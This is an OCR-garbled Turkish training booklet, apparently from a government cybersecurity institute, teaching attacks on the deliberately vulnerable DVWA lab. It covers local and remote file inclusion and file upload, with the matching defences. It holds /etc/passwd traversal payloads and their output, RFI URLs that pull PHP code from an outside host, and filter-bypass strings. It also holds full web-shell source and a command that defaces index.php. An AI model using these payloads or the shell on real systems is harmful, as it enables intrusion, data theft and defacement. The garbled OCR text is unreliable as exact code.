cups-pk-helper service,,, Jhomelcups-pk-helper:/t i X111 Dispatcher, Ibin/false whuups\e X 112117 /nonexistent/bin/false kermoops x113:65534:Kemel Oo

saned:x:114:119::/var/lib/saned:/usr/sbin/nologin puls

kdaemon,,, /varfliblcolord: fusr/sbin/nologin hplip:x: 1

[Manager:hvarflibigdm3: /bin/false hefese:x:1000:1

deneme:x:1001:1001:,,,/nomefdeneme:/bin/ba;

C Y @ localhost/DvwA-master/vulnerabilities/fi/?page=/etc/passwd
——

Home
Instructions
Setup | Reset DB

Brute Force
Command Injection
CSRF

 File nclusion |
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

seklinde yine ayni sonuca ulasabiliriz.

Ayriyetten relative path (gdreceli Ust dizine ¢ikma) karakterleri (../) tercih edildiginde milimetrik
hesap etmek sart olmayabilir. ../ karakterlerini olabildigince fazla girerek mantiksal olarak
isletim sistemlerinde sistemsel kok dizinin daha yukarisi olmadigi i¢in ne kadar fazla st dizin
girilirse girilsin hep en Ust dizinde zaten bulumus olacagiz. Dolayisiyla bundan hareketle;
SAdod L Jetc/passwd

dersek
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Activities @ Chromium Web Browser ¥ sal 10:54

Vulnerability: File Inclusion :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Chromium

Yonetim Paneli-Yazi Diz- x | 4§ Ders 8-FileInclusion (Lo. x | 4§ Ders 8- FileInclusion (Lo x S [ Vulnerability: File Inclus

C 0O @ localhost/DVWA-master/vulnerabilities/[i/2pages.fu/ofofofofoffful fof of of of of of ] -JEEC

i Apps @ Logintobya 1o Bug#1823583... @& AboutFr About Freeze 2
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/ gintgin:x: 2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games /usrigames:/usr/sbin/nol

man x:6:12:man:/var/cache/man:fusr/sbin/nologin Ip:x:7:7:Ip:/var/spoojgfft:/usr/&ininologin mail:x:8:8:mail:Nvar/mail-fusr/sbin/nologin news:x:9:9:news-/var/spool/news:fusr/sbin/nologin uucp:x: 10:10:uucp:var/spoolfuucp: lust/sbin/ni

-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:3g#4-bac} var/ba-:kups /usrfsb\n/nu\ogm list:x:38:38:Mailing List Manager:/var/list./usr/sbi in irc:x:39:38:rcd:Avarfrunlircd: /usrlshmfno\ogm gnatsix41:41:G
(admin):/var/lib/gnats:/usr/shin/nolegin nobody:: fnon in systemd-network:x:100:102:systemd Network Managemel :101:103:sysl
IResolver,, :/run/systemd/resolve:fusr/sbin/nologin syslog:x:102 lhome/syslog fusr!sbm/nolagm messagebus:x:103:107::/nonexistent:usr/sbin/nologin _apt:x:104:65534:: lnunex\sxem /usr/sb\ m/na\ogln uuidd:x:105: 111 nfuuidd
jautoip daemon,,,:var/lib/avahi-autoipd: /usr/shin/nologin usbi x:107:46:usbmux daemon.,,,:var/lib/usbmux:/usr/sbin/nologin :108:65534:dnsmasq,,,:/var/lib/misc:i. 1 rtkit:x:109:114:RealtimeKit,,,/proc:/usri:
cups-pk-helper service, ,,home/cups-pk-helper-fust/shin/ngfgin speech-dispatcher:x: 111  Dispatcher,,, peech-dispatcher:/binffalse whoopsie:x:112:117:/nonexistent/bin/false kermoops:x:113:65534:Kernel Oop
saned:x:114:119:: Vnologin pulse:xls: :Pul: dio daemon,, /ivar/run/pulse:/usrisbin/nologin avahi:x:116:122:Avahi mDNS daemon,,,/var/run/avahi-daemon:/usr/shin/nologin colord:x:117:123:colord colou
ldaemon, . Avar/libicolord:/ust/sbin/nologi -118:ZfPPLIP system user,...var/un/hplip:/binffalse geoclue:x:119:124::Aarflib/geoclue fust/sbin/nologin gnome-initial-setup:x: 120:65534:/run/gnome-initial-setup/-/binffalse gdm:x:1z
[Manager:/var/lib/gdm3:/bin/false hefese: -1 b t bash mysql:x:122:128:MySQL Server, bin/false sshd:x:123:65534::/runfsshd:/usr/sbin/nologin telnetd:x:124:130::/nonexistent:/usr/shin

:1001:1001:,,,:/F /i X 3 ,.../nome/alex:/bin/bash nvidia-persistenced:x:125:131:NVIDIA Persistence Daemon,,,./nonexistent:/sbin/nologin

Home
Instructions
Setup / Reset DB

Brute Force

Command Injection

CSRF
 Filenclusion |

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

seklinde yine /etc/passwd dosyasina erisme ve icerigini okuma yapabiliriz.

Remote File Inclusion

RFI saldinisi tipki LFI saldinsinin kullandigr guvenlik zafiyeti olan File Inclusion agigindan
faydalanir. isleyis aynidir. Fakat bu sefer ekrana dahil edilecek sayfa hedef sitenin
sunucusunda yer alan dosya degil de harici bir dosya (yani saldirganin kendi dosyasi)
olacaktir. Ayriyetten bu dosya uzantisinda ufak bir numara yapilmasi gerekecektir.

Diyelim ki rfi geregi kullanilacak remote system'da (diger ifadeyle saldirgan sunucu'da) su
icerikte bir dosya var:

<pres
<?php
system{"1s");
T
</prez

Bu dosya icerigine bakacak olursak bir php dosyasidir. Fakat bu dosyay! php olarak saldirgan
sunucuda bulundurup bu sekilde url'le hedef web sunucusuna dahil etmeye caligirsaniz dosya,
saldirgan sunucuda calisip html ¢ikti Uretip 6yle hedef web sunucuya gidecektir ve orada
yerlesip arayuze bize ¢ikti olarak yansiyacaktir. Yani saldirgan, kodunu kendi sisteminde
calistinp giktisini rfi yoluyla hedef web sunucuya dahil etmis olacaktir ve kendi giktisini gérmus
olacaktir. Halbuki biz istiyoruz ki saldirgan, kodunu hedef web sunucusuna oldugu gibi
gonderebilsin ve hedef web sunucusunda galisip o sunucunun ¢iktisini gérebilsin.

iste bu nedenle saldirgan, sunucusundaki dosyay! txt olarak bulundurur ve onun url'ini hedef

TUBITAK — BILGEM - Siber Giuvenlik Enstitiisi 107



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

web uygulamasina rfi yoluyla verir. Bdylece saldirgan sunucudaki dosya, ¢alismadan (yani
html ¢ikti Gretmeden) oldugu gibi, kodlar hedef web uygulamasina rfi yoluyla verilecektir. Hedef
web sunucu kodlari ¢alistirip ekrana basacaktir. Hedef web sunucuda bu yolla remote code
execution vari bir keyfi komut c¢alistirma, ciktisini alma ve aksiyon alma islemlerini
yurltebilecegiz.

http://localhost/dvwa/vulnerabilities/fi/ ?page=http://www.birsiteadi.com/dosya.txt

page parametresi LFI saldirisinda hedef web sitesinin sunucularinda barinan bir dosyanin
dizin adresini aliyorken bu sefer harici bir link almaktadir. Saldirgan bu saldiri kodunu (6zel
hazirlanmis url'i) tarayicinin adres cubuguna girip ENTER'landiginda ekrana harici dosyanin
iceriginin ¢iktisi (hedef web sunucuda calisan bir sistem komutu ¢iktisi) yansimig olacaktir:
Saldirgan Sunucu:

http://www.includekarabuk.com/

Harici Dosya URL':

http://www.includekarabuk.com/ki
taplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt

Sizlerin de saldirgan sunucu simulasyonu adina kullanabilecegdiniz saldirgan sunucu, dosya,
konumu ve igerigi soyledir;

www.includekarabuk.com/kitaplik/indirme
E YBnetim Panel aklar i Derss clusion (Lot x & Dr-r=.:i-':i\::-mrh,\:.w.'ml
el < C 0 O Motsecure | wwwincludekarabukcomkitaplik
) # Apps @ Logintobya Bug #1823583. ® About Freeze @ About Freeze2
» <pre><?php system(*ls"); ?></pres
=]
Al
= Saldirgan
¥ .
. Sunucudaki
° _ Dosya Yolu
o
W Dosya Igerigi
™

Saldirgan hedef web uygulamasina rfi yoluyla bu dosyayi dahil etmek igin sdyle bir url hazirlar.
Saldirgan Tarafindan Ozel Hazirlanmis URL:

http://localhost/dvwa/vulnerabilities/fi/?page=http://www.includeka
rabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt

Bdylece

http://localhost/dvwa/vulnerabilities/fi/?page=http://www.includeka
rabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt
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linkini girdigimizde ekrana hedef web uygulamasinin sunucusunda ¢alisan "Is" komutu ¢iktisi
yansiyacaktir:

(Saldiri 6ncesi)

53l 16:00

Vulnerablility: File Inclusion :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Chromlum

B Vulnerability: File Inclusi - x

D localhost;

i Apps B Logintobya |0 Bug#1823583.. @ Ab e @ AboutFreeze2

E Yéneti ans
Ell <« - co
)

9

T Vulnerability: File Inclusion
Instructions |

‘ [ 1-( 1-1 1

More Information

Hedef Web Sitesi
Normal
Arayuzu

(Saldir Sonrasi)

sal 16226

Vulnerability: File Inclusion :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Chromium

Y Vulnerability: File incly

# Apps @ Logintobya |- Bug#1823583.. (@ AboutFreeze @ AboutFreeze2

filel.php

B
Bl < > C 0 O lolost
)
9

Hedef Web Sitesi
Arayuzunde,
Calisan Komutun
Ciktis1 Yansir

Bdylece saldirgan sunucudaki dosyaya konulacak gesit ¢esit sistem komutlari ile rfi yoluyla
hedef web sunucusunda keyfi komutlar ¢alistirip ¢iktilari alinabilir ve aksiyonlar alabiliriz.
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[*] Ek Bilgi:
a) rfi_denemesi.txt Hakkinda

Dosya, uzak sistemde txt olarak bulundugundan oldugu gibi hedef web sunucusuna dahil edilir.
Dahil edilen dosyanin igerigi hedef web sunucusunun php script'i icerisinde kalir. Orn;

Saldirgan Sunucu:

deneme.txt

<prex<?php system{"1s"); 2»</prex

Hedef Sunucu:

rfizafiyetliWebSayfasi.php

<?php

i

Yani dahil edilen dosya hedef web sunucunun RAM'inde konumlanir ve sunucudaki web
uygulamasinin web sayfasi igerisinde acilarak blok halinde yerlesir. Bu blok, php script'i
icerisinde oldugundan ve bloktaki veri php script'iyse php olarak ¢alisabilecektir. Dolayisiyla
ekleyecegimiz bloga konulacak ¢ikti veren bir php komutuyla ekranimizda hedef sunucuda
cahistirdigimiz kodlarin ¢iktisini gérebilecegiz.

b) rfi_denemesi.php Hakkinda

Dosya uzak sistemde (saldirgan sistemde) php olarak bulundugundan c¢alisip ¢ikti Urettikten
sonra bu ¢iktl havada hedef web sunucuya gidecektir ve o sekilde dahil olacaktir. Dolayisiyla
hedef web sunucusuna, saldirgan sistemde c¢iktisi olusturulmus blok yerleseceginden biz
hedef web sitesi araylizinde kendi sistemimizde ¢alismis kodlarin ¢iktisini gérmis olacagiz.
Yani ayna gibi.

Saldirgan Sunucu:

deneme.php

<pre><?php system{"1ls"); ?><{/pres

Hedef Sunucu:
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rfizafiyetliWebSayfasi.php
<?php
;é &éé sunucu kodlara
include("saldirganSunucu.com/deneme.php");
;; &éé sunucu kodlar:
> S

include(saldirganSunucu/deneme.php) ile saldirgan sunucunun dosya c¢iktisi dahil edilir.
Cunki; web sunucular da bilgisayardir. Yani web sunucu basina gecen adam tarayici
actiginda adres g¢ubuguna saldirganSunucu.com/deneme.php girdiginde (talep ettiginde)
gelen sonu¢ saldirgansunucu.com'da derlenmis (//yorumlanmig) html ¢ikti olacaktir.
Dolayisiyla web uygulamasi da saldirgansunucu.com/deneme.php url'ini aldiginda ve talebini
yaptidinda alacagi http yanit saldirgansunucu.com'da derlenmis html ¢ikti olacaktir ve kod
blogu igerisine onu dahil edecektir.

Halbuki arzulanan sey kendi sistemimizde calismis kodlarin g¢iktisini hedef web sitesi
araylzunde gérmek degil, kodlarin hedef web sunucusunda calisip orada olusan ¢iktiyr web
sitesi araylziinde goériuntilemektir. Dolayisiyla bu sayede ancak hedef web sunucusunda
remote code execution vari bir sekilde kod ¢alistirip ¢iktilarini gérebilir ve aksiyonlar alabiliriz.

Ekstra

RFI saldirisini txt uzantili degil de php uzantili dosya olarak tekrarlayacak olursak 6zel
hazirlanmis bir énceki URL

http://localhost/DVWA-master/vulnerabilities/fi/?page=http://www.inclu
dekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt

yerine

http://localhost/DVWA-master/vulnerabilities/fi/?page=http://www.inclu
dekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.php

seklinde dizenlenmelidir (ki bu dosya da ayrica saldirgan sunucu konumundaki
includekarabuk.com'da gosterilen dizinde yer almaktadir, ayni iceriktedir ve sizlerin de
kullanimi serbesttir) bu durumda; Is komutunun yer aldigi php dosyasi sizin yerel DVWA web
uygulamaniz tarafindan talep edildiginde includekarabuk.com'dan gelecek http yaniti sizlere
includekarabuk.com'da ¢alismis Is komutu ¢iktisini verecektir ve DVWA bu ciktiyr dahil edip
ekrana basacaktir.

(Saldirgan sunucudaki rfi_denemesi.php)
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Activities @ Chromium Web Browser ¥ sal17:17

www.includekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.php - Chromium

Yénetim Paneli-Taslaklar x | 3§ Ders 8-File Inclusion (L X VOGEELHISASICINIOER | www.includekarabuk.cor X
9 K3 C {} ® Notsecure | wwwincludekarabuk com/kitaplik/indirmeDeposuyrfi_test_saldiri/rfi_denemesi php
’ 5 Apps @ Logintobya |p Bug#1823583... @ AboutFreeze @ AboutFreeze2

rfi_denemesi.php
© N rfi denemesi.txt

B

& Saldirgan
7 Sunucudaki
- Dosya Yolu

Saldirgan Sunucuda Dosya
Goruntilendiginde Ekrana Dosyanin
HTML Ciktisi Gelecektir.

Not: EJer resmi anlamlandiramadiysaniz bu su anlama geliyor;
includekarabuk.com'daki rfi denemesi.php dosyasindaki 1ls
komutu bulundudu dizindeki dosyalari ekrana siralamistir.

(Saldir)

pplication (DVWA) v1.10 *Development - Chromium

# Apps O Logintobya | Bug#1623583.. @ Aboutfreeze @ AboutFreeze?

rfi_denemesi.php
rfi denemesi.txt

B e x5 o
9 C O O localhost/ov
)

9

B

i

N

| 1

=

: — includekarabuk.com'da
e calisan komutun cgiktisi
B hedef Web sitesi
e arayuzune yansir

W dersa-fileincl....png

Bu gorduguniz gibi bizim istedigimiz bir sey degildir. Biz kendi sistemimizde ¢alismis kodlarin
ciktisini hedef web sitesi araylziinde gérmek degil, kodlarin hedef web sunucusunda calisip
orada olusan ¢iktlyr web sitesi araylzinde goérintllemek istemekteyiz. Ancak bu sayede,
hedef web sunucusunda remote code execution vari keyfi kod calistirma, ¢ikti alma ve
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aksiyonlarda bulunma gergeklestirebiliriz. Fakat eger bu php uzantili dosya tercih edilirse rfi
yoluyla yapabilecedimiz en iyi sey sayfa araylzinu tahrip edebildigimizi (deface edebildigimizi)
gOstermektir. Bu ise ¢ogu zaman kritiklik arz etmez. Fakat prestij acgisindan kritikligi
belirlenebilir.
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DERS 9 - FILE INCLUSION (MEDiUM LEVEL)

Bu yazida glvenlik dizeyi Medium seviyesine yukseltiimis DVWA'ya kargi LFI ve RFI icin
yapllabilecek guvenlik énlemleri incelenecektir.

Dersin Hedefi
LFI ve RFI saldinlarina kargi ne gibi bir dnlem alinabilecegini kesfedin.

LFI ve RFI'ya Kars1 Onlem
Gecen ders LFI ve RFI saldirnlarinda bulunmustuk. O derste kullandigimiz ekranin kaynak
kodu suydu:

Low Level:

<?php

f/ The page we H1
$file = $ GET[ 'p

/f Include the specified page
include($file);

7
Guvenlik Low Level iken goruldigu Uzere page parametresinden gelen dosya adi oldugu gibi
include() fonksiyonuna giriyor ve sayfaya dabhil ediliyor. page parametresinden gelecek dosya
adlari konusunda bir denetleme mekanizmasina ihtiya¢ vardir. Aksi takdirde dileyen diledigi

dosya adini parametreye girebilir ve diledigi dosyayi sayfaya goruntiletebilir. Glvenlik seviyesi
Medium'a ¢ikarildijinda kaynak koddaki degisim asagidaki gibidir:

Medium Level:

<?php

£/ The page we H1
$file = §_GET[ 'p

// Input walidation

$file = str_replace( array( http fL0, Uhttps: ST ), » 3file );
$file = str_replace( array( "../", "..E““ ¥, "7, $file );

£/ Include the specified page

include($file);

E

Medium seviyesinin kaynak kodunda yer alan ilk str_replace() fonksiyonu ile page
parametresine deger olarak girilen dosya ismindeki http:// ve https:// gibi karakterler varsa
silinir. Ardindan ikinci str_replace() fonksiyonu ile windows sistemlerde Ust dizine g¢ikmayi
saglayan ..\ karakteri ile linux sistemlerde Ust dizine ¢ikmay! sadlayan ../ karakteri dosya
isminden varsa silinir. Boylelikle ilk planda kusursuz gorunen guvenlik temin edilmig olunur.

ilk str_replace() ile Remote File Inclusion (RFI) saldirilarina karsi énlem alinmigken, ikinci
str_replace() fonksiyonu ile de Local File Inclusion (LFI) saldirilarina karsi dnlem alinmistir.
Fakat Medium seviyesinde alinan bu énlemler asilabilmektedir.
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http:// ve https:// ‘lerden arindiran ilk str_replace() fonksiyonunu atlatip yine RFI saldirisinda
bulunabilmenin yolu sudur: http:// karakterlerinin arasina http:// karakterlerini koymak. Neyi
kastettigimi sanirnm agsagidaki renklendirilmis linkten daha iyi anlayacaksiniz:

localhost/dvwa/vulnerabilities/fi/?page=htthttp://p://zararlibirsite.com/c99.php

Yukaridaki saldir kodunu ele alacak olursak Medium Level'daki |k str_replace() fonksiyonu
aldig1 page parametresinin degerini tarayacak ve kirmizi renkli karakterleri gordugu an
silecektir. Ardindan str_replace() fonksiyonu kaldigi yerden taramaya devam edecektir. Fakat
basa sarmayacaktir. Basa sarmadigi igin arta kalanlarin birlesimi sonucu ortaya c¢ikan http://
karakterlerini fonksiyon yakalayamayacaktir. Boylelikle guvenlik asilmig olacaktir ve RFI
saldirisi gerceklestirilmis olacaktir.

localhost/dvwa/vulnerabilities/fi/?page=.. / / etc/passwd

Local File Inclusion'a karsi glvenlik énlemi olan ikinci str_replace() fonksiyonuna gelecek
olursak kirmizi karakterleri goren ikinci str_replace() fonksiyonu kirmizi renkli Ust dizin
karakterlerini silecek ve kaldigi yerden tarama iglemine devam edecektir. Geride arta kalanlar
ise birlestiginde yine ust dizin karakterini (../) meydana getirecektir. Boylelikle 6nceki
derste bahsedildigi gibi yine kullanici adlari ve ait olduklari gruplar bilgisine LFI saldirisiyla yine
ulasilabilecektir.
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DERS 10 - FILE INCLUSION (HiGH LEVEL)

Bu yazida guvenlik duzeyi High seviyesine yukseltiimis DVWA'ya karsi LFI, RFI saldirilarina
yapllabilecek guvenlik énlemleri incelenecektir.

Dersin Hedefi
LFI ve RFI saldinlarina kargi daha saglam ne gibi bir 6nlem alinabilecegini kesfedin.

LFI ve RFI'ya Kars1 Onlem

Gecen derste LFI ve RFI saldirilarina kargi bir glvenlik dnleminden ve bu guvenlik énleminin
nasil asilabileceginden bahsetmistik. Bu derste ise glivenligi bir tik daha yukari ¢ikaracagiz.
Oncelikle Medium Level'da uygulanan giivenlik dnlemine bir géz atalim:

Medium Level:

<?php

f/ The page we H1
$file = $ GET[ 'p

£ Input wvalidation

ffile = str_replace( array( "http ff", tps: /"

l._'.
.

""J gfile );

$file = str_replace( array( "../",

Ly
-
=
it
_h\__F.-
A
-

/f Include the specified page
include($file);

S

Medium Level'in glvenligi 7. ve 8. satirdaki iki str_replace() fonksiyonu ile saglanmaktaydi.
Fakat gecen derste gosterilen teknikte oldugu gibi bu fonksiyonlar (6nlemler) asilabiliyordu.
Simdi High Level'da bu sorun nasil giderilmis bir bakalim:

High Level:

<?php

ff The page we wi
$file = §_GET[ 'p

/f Input wvalidation

if( !frmatch{ "file*", $file ) && %file != "include.php™ ) {
/f This isn't the page we want!
echo "ERROR: File not fTound!";

......

h

// Include the specified page
include($file);

E

Goruldugu Uzere File Inclusion'in ilk_dersinde bahsedilen page parametresinin alabilecegi
dosya adlari beyaz liste diye tabir edebilecegimiz bir metotla kontrol altina alinmis. High level'in
7. satirina gore page parametresi sadece include.php dosya adini alabilir ya da file ismiyle
baglayan bir php dosyasi alabilir. Bunlarin diginda bir dosya ismi alirsa bu durumda 7. satirdaki
if kosulunun igerisinde girilir ve sayfa bulunamadi hatasi dondurdlir. Eger if'in igine giriimezse,
yani dosya ismi file ismiyle ile baglayan bir php dosyasiysa ya da include.php ise bu durumda
o sayfa include() fonksiyonu ile mevcut sayfaya dahil edilir.
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Goraldugu uzere guvenlik gemberi siki bir sekilde daraltiimis. Yani kabul edilecek dosya
isimleri icin bir kural belirlenmig. Bu glvenlik dnlemi su sartlarda agilacak gibi gériunmuyor.
Fakat bu guvenlik dnlemi séyle bir aciga sahiptir: Eger hedef web sitesinde file ile baslayan,
fakat site ziyaretgisinin erigmesi istenilmeyen bir dosya varsa o dosyanin okunmasina High
Level guvenlik 6nlemi engelleyemez. ClnkU tanimlanan sarta goére file ismiyle baslayan tim
php dosyalari okunabilirdir. Bu sikintiyi diizeltmenin yolu beyaz listeye hard code'lama ile kabul
edilecek dosya isimlerini yazmaktir. Yani tek tek hangi dosyalari kabul edecegimizi belirtmek
belki en ugrastirici, fakat en saglam guvenlik 6nlemidir. Asagida iste o saglam glvenlik
onleminin bir 6rnegini gérmektesiniz:

Impossible:
<?php
/{ The page we wish to display
$file = $_GET[ 'page’ 1;

/4 Only allow include.php or file{1..3}.php

if( $file != “include.php” && $file != "filel.php" && %file != "filez.php" && #file != "file3.php" ) {
/f This isn't the page we want!
echo "ERROR: File not found!™;

exit;

b

/{ Include the specified page
include{$file);

S
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DERS 11 - FILE UPLOAD (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin glvenlik zafiyetinden
faydalanarak File Upload yoluyla saldirida bulunulacaktir.

Dersin Hedefi
Hedefiniz DVWA'nin anasayfasini hack'lemektir.

File Upload Nedir?
File Upload herkesin tahmin edebilecegi gibi dosyalarin araytizdeki butonlar araciligiyla uzak
sisteme transfer edilmesi islemine denir.

File Upload ile Nasil Site Hack'lenir?
Bir php dosyasi olusturun. Mesela adina shell.php deyin. Ardindan asagidaki kodlari shell.php
dosyasina kaydedin:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<form action="" method="GET" encytype="application/x-www-form-urlencoded”:
<table style="margin-left:auto; margin-right:auto;">
<tr>
<td colspan="2":LOtfen bir sistem komutu girin</td:
</t
<tredtdr</tds</tr>
<tr>
<td>Komut</td>
<td>
<input type="text" name="pCommand” size="5@"/:>
< td>
</tre
<tr>
<td»</td>
<ftre
<tr>
<td colspan="2" style="tewt-align:center;"»
<input type="submit" walue="Komutu Calistar"/:>
< td>
</tre
</table:

cho "<pre»";
zcho shell exec(@%_REQUEST["pCommand™]);
cho "</pre>";

Ardindan DVWA'nin File Upload sayfasindan shell.php'iyi sisteme yukleyin. Yuklediginizde
soyle bir bildirimle karsilasacaksiniz:
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Vulnerability: File Upload

Choose an image to upload:
Choose File | No file chosen

Upload

../../hackable/uploads/shell.php succesfully uploaded!

Kirmizi bildirimde gorebilecediniz Uzere upload'ladiginiz dosyanin bulundugu link ifade
edilmis. O linke goére bulundugumuz dizinin 2 kademe yukarisina ¢ikip oradan hackable
klasdriine sapip oradan uploads'a gecerek upload'ladigimiz dosyaya tarayici Uzerinden
erisebiliriz. Simdi dyle yapalim. Bulundugumuz dizin sudur:

http://localhost/dvwa/vulnerabilities/upload/#

iki kademe yukari ¢ikarsak link su olur:

http://localhost/dvwa/#

Ardindan /hackable/uploads dizinine dallanalim:

http://localhost/dvwa/hackable/uploads/

Baoylelikle upload'ladigimiz shell.php dosyasinin hedef sistemde bulundugu dizine ulagsmis
oluruz. Gergek bir hack islemi sirasinda upload'lanan dosyanin yeri site tarafindan kullaniciya
genellikle bildirilmez. Bu durumda saldirganin igi guglesir. Fakat bir web sitesi dusunelim. Bu
web sitesinde son kullanici resim upload'layabiliyor olsun. Saldirgan bu mekanizmanin
yukledigi dosyalarin nereye yuklendigini 6grenebilmek icin deneme maksadiya bir resim
yukleyip web sitesinde resmi teshir edildigi yere gegebilir ve goruntilenen resmin linkini sag
tik ile alarak upload'lanan dosyalarin nereye gittigini 6grenebilir.

Simdi yukledigimiz shell dosyasini goruntilemek igin asagidaki linki tarayiciniza girin:
http://localhost/dvwa/hackable/uploads/shell.php

Ekrana soyle bir ¢ikti gelecektir:
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N localhost/dvwa/hac x

ilefuploads/shell.php

ums [ Turkhackteam (# illegalizm [3 Vatanin Bekcileri F» Metasploit [l Msfconsole [ Signin

Liitfen bir sistem komutu girin

Komutu Galistir

Komut |

Ekrandaki metin kutusuna gireceginiz her bir Terminal/CMD komutu hedef sistem lzerinde
calistirilacaktir ve dénen yanit ekrana echo komutu ile basilacaktir. Hedef sistemin Linux bir
sistem oldugunu varsayalim ve web sitenin anasayfasini bulmak maksadiyla kesif mahiyetinde

bazi kodlar girelim. Ardindan ¢iktilara g6z atalim:

0o localhost/dvwa/h x §

€ @ £> | [ localhost/dvwa/hackable/uploads/shell.php?pCommand=ls
B Hack Forums [l Turkhackteam (ff illegalizm [} Vatanin Bekciler: ¥ Metasploit [JJ] Msfconsole [ Signin E Mailt

i Apps (b Yiiksek Lisans Si

Liitfen bir sistem komutu girin

Komut Is

‘ Komutu Calistir ‘

dvwa_email.png
index.php
shell.php

Girilen Komut: Is

shell.php dosyasinin bulundugu dizindeki dosyalarin isimlerini Is komutu ile siraladik. Simdi bir
ust dizine ¢ikip Ust dizindeki dosyalarin isimlerini siralayalm:
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pst/dvwa/hackable/uploads/shell.php?pCommand=cd+..%3B+ls - Chromium

¥ [ localhost/dvwa/h x

€ €@ &Y | D localhost/dvwa/hackable/uploads/shell. php?pCommand=cd+..%3B+ls
=i Apps () Yilksek Lisans Sit & Hack Forums [ Turkhackteam (f illegalizm [% Vatanin Bekcileri F2 Metasploit Bl Msfconscle [ signin = Mai

Liitfen bir sistem komutu girin

Komut cd ..; Is

‘ Komutu Calistir ‘

flags
uploads
users

Girilen Komut: cd ..; Is

cd .. komutu sayesinde bir Ust dizine giktik. Is komutu ile de bulunulan dizindeki dosyalari
siraladik. .Simdi bir Ust dizine daha gecerek orada yer alan dosyalari siralayalim:

ost/dvwa/hackable/uploads/shell.php?pComman

[ localhost/dvwa/h. x

§ € £ | D localhost/dvwa/hackable/uploads/shell.php?pCommand=cd+..%3B+cd+..%3B+ls
i Apps () Yiiksek Lisans Sit & Hack Forums [H Turkhackteam [ illegalizm [ Vatanin Bekciler: F) Metasploit | Msfconsole [ Signin &= Ma

Liitfen bir sistem komutu girin

Komut cd ..;cd ..;ls

‘KomMucm@m‘

CHANGELOG.md
COPYING. txt
HACKED. txt
README . md
about.php

config

docs

dvwa

external
favicon.ico
hackable

ids log.php
index (copy).php
instructions.php
login.php
logout.php
php.ini

nhninfa nhn

Girilen Komut: cd ..; cd ..; Is

TUBITAK — BILGEM - Siber Giivenlik Enstitiisi 121



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Resimdeki segili dosya isminden gorebilecediniz Gzere DVWA'nin anasayfa dosyasini tespit
ettik. Simdi bu sayfaya Hacked By Falan Filan diyerek sayfayi hack'leyelim.

NOT: Asagidaki islemi yapmadan 6nce DVWA klasériiniiz icindeki index.php'nin bir yedegdini alin. Clnkii
icerigini silip Hacked By Falan Filan yazacadiz. Isimiz bittiginde eski haline déndiirmek igin yededi
kullanabilirsiniz.

shell.php'deki metin kutusuna asagidaki kodu girin:

1 cd ..; cd ..; echo '"<font color=red><center><hl>Hacked By Falan

Filan</hl></center></font><br>" > index.php

Komutu calistir dediginiz an anasayfa hack'lenmis olur. Kontrol etmek igin DVWA'nin
anasayfasina gegis yapin:

http://localhost/dvwa/index.php

Linke gittiginiz takdirde sayfanin hack'lendigine dair bildirimi gorebilirsiniz:

dvwa/index.php 0 ™
[} Yénetim Paneli-v x ¥ 53 Ders 11-File Uplo: x | [3 Yénetim Paneli-v. X | 53 Ders 4-Commanc x Y /& Vulnerability: File x 1 [ localhost/dvwa/h. x ) [ localhost/dvwa,

< @ 4y [1 localhost e

it Apps () Yiiksek Lisans sit B Hack Forums [Hl Turkhackteam (f illegalizm [} vatanin Bekcileri §» Metasploit [l Msfconsole [ signin [ MailEnable i Tureng

Hacked By Falan Filan

Saldir kodunda 6ncelikle iki kademe Ust dizine ¢ikilmigtir. Bdylelikle index.php'nin oldugu
dizine gegcilmistir. Ardindan echo komutu ile bir ¢ikti Gretilmistir. Olusturulan bu ¢ikti echo'nun
saginda yer alan > operatoru ile index.php dosyasinin tzerine yazilmistir (echo komutu tipki
PHP'deki echo komutu gibi ¢ikti vermeye yarar).

Sayfaya metin eklenebildigi gibi resim, video da eklenebilir. Resim ve video igin yapilmasi
gereken sey yukaridaki girilen saldiri kodunda yer alan echo'dan sonraki tirnaklarin icine ilgili
resmin ya da video'nun linkini html olarak koymaktir.

Sonug

Kisitlanmamis bir upload mekanizmasi ylzunden bir site kolaylikla hack'lenebilir. Bu tip
saldirlara maruz kalmamak igin kabul edilecek dosya uzantilari seklinde PHP gibi bir dille kural
olugturulmahdir. Kuralin digsinda kalan dosyalarin sunucuya yuklenmesi engellenmelidir.

Ekstra

Bu derste shell.php adli dosyanin sundugu araylz ile bir sayfa hack'lemis olduk. Dikkat
ederseniz bu dosya adina shell dendi. Daha dogru tabirle web shell. Bunun bir nedeni var.
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Literaturde shell dosyalar diye geger bu tip isleve sahip dosyalar. Yani hedef sunucu lGzerinde
komut ¢alistirmamizi saglayan dosyalara shell denmektedir. PHP dunyasinda populer olarak
bilinen shell dosyalari c99.php ve r57.php dosyalaridir. Bunlar yaklasik 3000 satirlik koda
sahiptir ve yukaridaki kullandigimiz basit shell dosyasina nazaran elle girecegdiniz bircok komut
kodlari yerine kisayol secenekleriyle ayni iglemleri yapabilmenizi saglar. Ornegin yukaridaki
shell.php dosyasini degil de c99.php'yi upload'lasaydiniz tarayicidan c99.php'ye eristiginizde
asagidaki gibi bir araylz sizi karsiliyor olurdu:

